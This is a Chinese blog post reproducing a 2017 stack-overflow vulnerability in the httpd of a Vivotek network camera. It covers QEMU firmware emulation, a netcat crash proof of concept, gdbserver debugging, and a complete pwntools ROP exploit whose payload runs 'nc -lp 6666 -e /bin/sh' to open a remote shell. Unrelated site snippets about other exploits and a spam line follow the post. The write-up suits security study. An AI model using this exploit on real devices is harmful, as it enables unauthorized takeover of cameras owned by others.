<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    vivotek 棧溢出漏洞復現

    一顆小胡椒2022-07-08 16:29:21

    一、前言

    近日公司進了一批攝像頭,以前還沒有做過這方面的研究所以找了一個vivotek 2017年的棧溢出漏洞拿來練練手。

    二、固件仿真

    虛擬機環境:Ubuntu 20.04

    gdb版本:GNU gdb (Ubuntu 9.2-0ubuntu1~20.04.1) 9.2

    固件下載地址:https://github.com/mcw0/PoC/files/3128058/CC8160-VVTK-0100d.flash.zip

    從上面的地址下載還有漏洞的固件,使用binwalk分離出來文件系統,發現問題文件httpd位于/usr/sbin目錄下,使用file命令查看文件類型?

    因為是arm架構的所以沒法在本地跑,使用QEMU模擬運行

    因為QEMU模擬的環境不會掛載dev和proc,所以我們這邊將固件系統的這兩個目錄掛載到虛擬機的dev和proc中。

    sudo mount -o bind /dev ./squashfs-root/dev/
    sudo mount -t proc /proc/ ./squashfs-root/proc/
    

    再次運行httpd文件,發現這次報了其他的錯誤

    打開ida定位報錯語句的位置,可以看到/etc/conf.d/boa/boa.conf文件打開失敗導致的

    本地ls查看會發現conf.d是鏈接到/mnt/flash/etc/conf.d的,并且該目錄為空

    嘗試在其他目錄中尋找boa.conf文件,最終在如下的目錄找到了它,將此目錄下的/etc復制到/mnt/flash/目錄下

    再次運行httpd文件,發現報了如下錯誤

    老辦法通過IDA搜索報錯字符串,定位到如下位置,可以發現報錯原因是因為此程序中使用gethostname函數將主機名保存在rlimits中,并使用gethostbyname函數通過主機名找到IP地址。但是最終因為我們的主機名與固件中的主機名不同所以無法獲取到IP地址。

    這里我們可以通過hostname命令查看本機名,然后以我的本機名為例修改squashfs-root/etc/hosts中的內容

    echo "127.0.0.1 amall-virtual localhost" > squashfs-root/etc/hosts
    

    修改完成后再次運行httpd文件,可以看到已經成功啟動

    三、漏洞分析

    我們根據poc來驗證漏洞

    echo -en "POST /cgi-bin/admin/upgrade.cgi HTTP/1.0Content-Length:AAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\r\r"  | netcat -v 127.0.0.1 80
    

    驗證成功,可以看到程序崩潰信息。我們根據poc可以了解到漏洞是在Content-Length中出現的,從IDA中搜索字符串然后查看交叉引用定位到漏洞位置所在

    根據反匯編的代碼我們可以了解到,程序在處理Content-Length字符串的內容時,使用strncpy函數保存從:到之間的字符串,但是可以看到其中并沒有對長度進行檢測導致了用戶可以輸入任意長度的字符串造成棧溢出。

    四、漏洞復現

    在arm的棧溢出中,我們首要考慮的就是如何劫持pc寄存器,而這個偏移可以通過動調獲得。

    看一下保護,開啟了NX保護所以無法利用shellcode,考慮使用ROP來繞過NX保護。


    為了能夠查看程序的執行流程,這里選擇將文件系統和gdbserver一起傳到qemu虛擬機里,下面的內容根據driverxdw師傅的這篇文章整理得到。

    從arm-debian的qemu鏡像地址下載如下三個文件

    https://people.debian.org/~aurel32/qemu/armel/vmlinuz-3.2.0-4-versatile
    https://people.debian.org/~aurel32/qemu/armel/initrd.img-3.2.0-4-versatile
    https://people.debian.org/~aurel32/qemu/armel/debian_wheezy_armel_standard.qcow2
    

    在本地新建一張網卡用于和qemu虛擬機通信

    sudo tunctl -t tap0 -u `whoami`
    sudo ifconfig tap0 192.168.2.1/24
    

    啟動qemu虛擬機鏡像

    qemu-system-arm -M versatilepb -kernel vmlinuz-3.2.0-4-versatile -initrd initrd.img-3.2.0-4-versatile -hda debian_wheezy_armel_standard.qcow2 -append "root=/dev/sda1"  -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
    

    啟動成功后會讓你輸入用戶名密碼,默認用戶名/密碼:root/root,然后在qemu虛擬機中配置網卡信息,這樣qemu虛擬機就可以和本地進行通信了

    ifconfig eth0 192.168.2.2/24
    

    接下來使用ftp把固件的文件系統get到qemu虛擬機中,此時我們就可以掛載/dev和/proc了。

    mount -o bind /dev ./squashfs-root/dev
    mount -t proc /proc/ ./squashfs-root/proc/
    

    最后切換到固件的文件系統中,并運行漏洞文件

    chroot squashfs-root sh
    ./usr/sbin/httpd
    

    這時我們就可以開始調試工作了,采用gdb-multiarch&gdbserver的方式。但是在試過網上編譯好的gdbserver以后都無法在遠程target remote到,最后在這篇文章中找到了答案,按照上面的步驟我編譯了一份與我本地gdb版本相同的gdbserver-static,文件上傳到github上了有需要的師傅可以自行下載。

    github地址:https://github.com/AmaIIl/gdbserver-static-9.2-arm

    有了對應版本的gdbserver就可以開始遠程調試了,具體命令如下所示

    ./gdbserver-static 127.0.0.1:1234 --attach 
    

    然后寫一個gdbinit把重復的命令寫進去方便調試

    # gdb-multiarch -x gdbinit
    file ./usr/sbin/httpd
    set architecture arm
    target remote 192.168.2.2:1234
    

    我們將斷點下在函數退棧的位置,然后計算其與輸入地址的差值就可以得到溢出偏移。為了降低利用難度這里關閉qemu虛擬機的aslr保護,可以節省幾步內存泄露的步驟。

    sudo sysctl -w kernel.randomize_va_space=0
    

    通過動調我們可以得到需要的所有條件:溢出偏移、棧地址、libc地址。但是要構造ROP還需要一些gadget,使用ropper搜索我們需要的gadget,最終我們需要構造的就是system("XXX")的效果,所以需要能控制pc和r0寄存器的gadget,同時因為程序漏洞使用strncpy函數所以gadget中不能含有零字符,所以最終選擇了這兩段gadget

    0x00048784: pop {r1, pc};
    0x00016aa4: mov r0, r1; pop {r4, r5, pc};
    

    exp如下所示

    from pwn import *
    context.log_level = 'debug'
    r = lambda : p.recv()
    rx = lambda x: p.recv(x)
    ru = lambda x: p.recvuntil(x)
    rud = lambda x: p.recvuntil(x, drop=True)
    s = lambda x: p.send(x)
    sl = lambda x: p.sendline(x)
    sa = lambda x, y: p.sendafter(x, y)
    sla = lambda x, y: p.sendlineafter(x, y)
    close = lambda : p.close()
    debug = lambda : gdb.attach(p)
    shell = lambda : p.interactive()
    p = remote('192.168.2.2', 80)
    libc = ELF('./squashfs-root/lib/libc.so.0')
    stack = 0xbeffeb64
    base = 0xb6f2d000
    system = base+libc.sym['system']
    pop_r1_pc = 0x00048784+base
    mov_r0_r1 = 0x00016aa4+base # mov r0, r1; pop {r4, r5, pc}; 
    head = "POST /cgi-bin/admin/upgrade.cgi HTTP/1.0Content-Length:"
    payload = 'b'*(0x00003c-8)+p32(pop_r1_pc)+p32(stack)+p32(mov_r0_r1)+'b'*8+p32(system)
    end = 'nc  -lp 6666 -e /bin/sh;'+'\r\r'
    sl(head+payload+end)
    shell()
    

    腳本執行成功后會開啟6666端口,這時只要用nc遠程連接即可getshell

    五、總結

    還是那個感覺,復現iot最難的步驟還是環境搭建。在gdbserver那里卡住了很久,本地編譯也是各種報錯,不過好在最后都一一解決了。2017年的這個棧溢出漏洞整體利用難度不算高,感興趣的師傅們可以動手試著復現一下。

    參考鏈接

    https://www.anquanke.com/post/id/185336#h2-3

    https://xz.aliyun.com/t/5054#toc-2

    https://bbs.pediy.com/thread-220907.htm

    虛擬機qemu
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    阿里云已于2019年12月完成該漏洞的修復,云上主機已不受該漏洞影響。2020年08月13日,ISC2020第八屆互聯網安全大會上,該漏洞被公開。該漏洞可越界讀寫某一個堆之后0xffffffff的內容,可實現完整的虛擬機逃逸,最終在宿主機中執行任意代碼,造成較為嚴重的信息泄露。經阿里云工程師分析后判定,該漏洞是 Qemu 歷史上最嚴重的虛擬機逃逸漏洞,影響到絕大部分使用 OpenStack 的云廠商。如果您有相關需求或反饋,請提交工單聯系阿里云。
    虛擬機檢測技術整理
    2023-05-11 09:15:35
    第一次嘗試惡意代碼分析就遇到了虛擬機檢測,于是就想著先學習一下檢測的技術然后再嘗試繞過。學習后最終發現,似乎最好的方法不應該是去patch所有檢測方法,而是直接調試并定位檢測函數再繞過。但既然已經研究了兩天,索性將收集到的資料整理一下,方便后人查找。惡意軟件可以搜索這些文件、目錄或進程的存在。VMware 虛擬機中可能會有如下的文件列表:C:\Program Files\VMware\
    但是最終因為我們的主機名與固件中的主機名不同所以無法獲取到IP地址。這里我們可以通過hostname命令查看本機名,然后以我的本機名為例修改squashfs-root/etc/hosts中的內容echo?驗證成功,可以看到程序崩潰信息。但是要構造ROP還需要一些gadget,使用ropper搜索
    建議先通一遍文章再動手復現,復現之前一定要保存虛擬機快照,防止出現各種問題。
    關于MIPS架構的寄存器及指令集請自行查閱資料,這里就不多作介紹了。,則也會在prologue處保存下來,并在epilogue處取出。流水線指令集相關特性MIPS架構存在“流水線效應”,簡單來說,就是本應該順序執行的幾條命令卻同時執行了,其還存在緩存不一致性(cache
    隨著云計算的不斷普及,云平臺安全問題日益凸顯。云平臺資源共享、邊界消失、動態變化等特點,使得傳統基于邊界的旁路式、外掛式防御手段無法有效應對云內安全威脅。因此,通過將安全機制與云平臺融合設計,實現了對云平臺內部威脅和攻擊的可視、可控、可防,確保安全機制的不可繞過和性能開銷最小。
    0x00 摘要 大型黑客組織在bootkits的使用上有著長期的成功經驗。bootkits是BIOS/UEFI中隱藏的特殊惡意代碼,能夠實現長期隱藏而不被發現,甚至在重新安裝操作系統和更換硬盤驅動器后仍然存在。由于bootkits具有天然...
    CVE-2019-10999 是 Dlink IP 攝像頭的后端服務器程序 alphapd 中的一個緩沖區溢出漏洞,漏洞允許經過身份認證的用戶在請求 wireless.htm 時,傳入 WEPEncryption 參數一個長字符串來執行任意代碼。
    根據廠商的要求,在修補后的固件未發布前,我對該漏洞細節進行了保密。若讀者將本文內容用作其他用途,由讀者承擔全部法律及連帶責任,文章作者不承擔任何法律及連帶責任。此時,我們驚喜地發現xxx系列產品的xxx型號固件并沒有被加密,可以成功解開。漏洞分析此部分以xxx固件為例進行分析,該固件是aarch64架構的。其他固件也許架構或部分字段的偏移不同,但均存在該漏洞。找到無鑒權的API接口顯然,此類固件的cgi部分是用Lua所寫的。
    編譯make x86_64_defconfig # 加載默認configmake menuconfig # 自定義config. 編譯選項添加調試信息, 需要以下幾行[*] Compile the kernel with debug info [*] Generate dwarf4 debuginfo [*] Provide GDB scripts for kernel debugging. 由于本虛擬機是只有很基本的環境,在調試漏洞之前還需要做一些操作, 創建/etc/passwd,?漏洞原理在調試之前首先根據補丁來簡單了解一下漏洞造成的原因。Exp分析根據exp分析漏洞利用的細節,刪除了部分檢測利用條件、備份密碼等漏洞利用不相關代碼。const unsigned pipe_size = fcntl; static char buffer[4096];for { unsigned n = r > sizeof ?int main() { const char *const path = "/etc/passwd";const int fd = open; if { perror; return EXIT_FAILU
    一顆小胡椒
    暫無描述
      亚洲 欧美 自拍 唯美 另类